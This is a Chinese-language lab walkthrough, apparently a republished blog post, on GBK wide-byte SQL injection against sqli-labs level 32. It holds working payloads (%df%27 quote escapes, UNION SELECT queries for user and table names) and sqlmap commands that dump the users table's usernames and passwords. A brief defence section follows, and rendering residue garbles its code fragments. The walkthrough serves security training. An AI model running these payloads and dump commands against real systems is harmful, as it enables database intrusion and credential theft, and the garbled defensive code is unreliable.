SQL注入之寬字節(jié)注入
前言
一、什么是寬字節(jié)注入
寬字節(jié)是相對于ascII這樣單字節(jié)而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等這些都是常說的寬字節(jié),實際上只有兩字節(jié)。GBK 是一種多字符的編碼,通常來說,一個 gbk 編碼漢字,占用2個字節(jié)。一個 utf-8 編碼的漢字,占用3個字節(jié)。
轉義函數(shù):為了過濾用戶輸入的一些數(shù)據(jù),對特殊的字符加上反斜杠“\”進行轉義;
寬字節(jié)注入指的是 mysql 數(shù)據(jù)庫在使用寬字節(jié)(GBK)編碼時,會認為兩個字符是一個漢字(前一個ascii碼要大于128(比如%df),才到漢字的范圍),而且當我們輸入單引號時,mysql會調用轉義函數(shù),將單引號變?yōu)椤?,其中\(zhòng)的十六進制是%5c,mysql的GBK編碼,會認為%df%5c是一個寬字節(jié),也就是’運’,從而使單引號閉合(逃逸),進行注入攻擊。
二、寬字節(jié)注入獲取數(shù)據(jù)庫信息
1.寬字節(jié)注入方法
寬字節(jié)注入原理
程序員防止注入點,在其后面加入\進行轉義
利用在其后面注入點發(fā)現(xiàn)沒有報錯
http://192.168.222.4/sqli-labs/Less-32/?id=2%df%27
注入?id=1%df’ 出現(xiàn)報錯,存在注入
http://192.168.222.4/sqli-labs/Less-32/?id=1’(不可以注入)
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’
http://192.168.222.4/sqli-labs/Less-32/?id=1%df%27
MySQL在使用GBK編碼時,兩個字符組合,認為是一個漢字
%df’->%df’-> %df%5c%27(%df%5c是一個漢字)->(漢字)‘->id=(漢字)’ and (可以注入)
(1)用sqli-labs靶場進行演示,這里l利用32關進行練習
首先我們嘗試進行注入在后面加’
http://192.168.222.4/sqli-labs/Less-32/?id=1’
發(fā)現(xiàn)沒有報錯,我們可以去看看源代碼是怎么寫的
發(fā)現(xiàn)注入的’ 被\轉義了,無法進行注入
而且發(fā)現(xiàn)代碼中用的是gbk編碼,說明存在寬字節(jié)注入
mysql_query(“SET NAMES gbk”);
然后我們就可以進行寬字節(jié)注入,后面叫上%df’試試
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’
發(fā)現(xiàn)報錯,所以肯定存在寬字節(jié)注入,然后查詢有多少列
發(fā)現(xiàn)存在3列,接下來嘗試注入查找用戶信息
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select user()),3–+
注入成功,查看當前數(shù)據(jù)庫的表
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3–+
用戶信息應該在users表中,接下來繼續(xù)注入查看表中的信息,這里利用sqlmap進行注入查詢,會比較方便
(2)打開sqlmap,輸入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
這里會顯示id沒有注入,沒事,進行下一步寬字節(jié)注入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
沒有報錯,接下來查當前用戶
sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user
查用戶成功,接下來查庫
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查數(shù)據(jù)庫)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(當前數(shù)據(jù)庫有哪些表)
(當前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column
(當前表中有哪些數(shù)據(jù))
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump來獲取內容)
2.寬字節(jié)注入防御方法
(1)使用utf-8,避免寬字節(jié)注入;
ps: 不僅在gbk,韓文,日文等等都是快字節(jié)注入漏洞
2.mysql_real_escape_string,mysql_set_charset('gbk,
c
o
n
n
′
)
;
3.
可以設置參數(shù),
c
h
a
r
a
c
t
e
r
s
e
t
c
l
i
e
n
t
=
b
i
n
a
r
y
只需在該語句中插入
conn'); 3.可以設置參數(shù),character_set_client=binary 只需在該語句中插入
conn′);3.可以設置參數(shù),characters?etc?lient=binary只需在該語句中插入result=mysql_query($sql)即可
r
e
s
u
l
t
=
m
y
s
q
l
q
u
e
r
y
(
"
c
h
a
r
a
c
t
e
r
s
e
t
c
l
i
e
n
t
=
b
i
n
a
r
y
"
,
result=mysql_query("character_set_client=binary",
result=mysqlq?uery("characters?etc?lient=binary",sql);//就不會出現(xiàn)寬字節(jié)注入了
(2)這里總結一下sqlmap寬字節(jié)注入的使用語句
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查數(shù)據(jù)庫)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(當前數(shù)據(jù)庫有哪些表)
(當前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column
(當前表中有哪些數(shù)據(jù))
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump來獲取內容)文章來源:http://www.zghlxwxcb.cn/news/detail-403531.html
總結
本次實驗是對SQL注入的寬字節(jié)注入進行靶場練習,了解了寬字節(jié)注入的原理和注入方法,學會了對代碼的審計,判斷注入的方式,從而獲取到用戶的信息。文章來源地址http://www.zghlxwxcb.cn/news/detail-403531.html
到了這里,關于滲透測試-SQL注入之寬字節(jié)注入的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!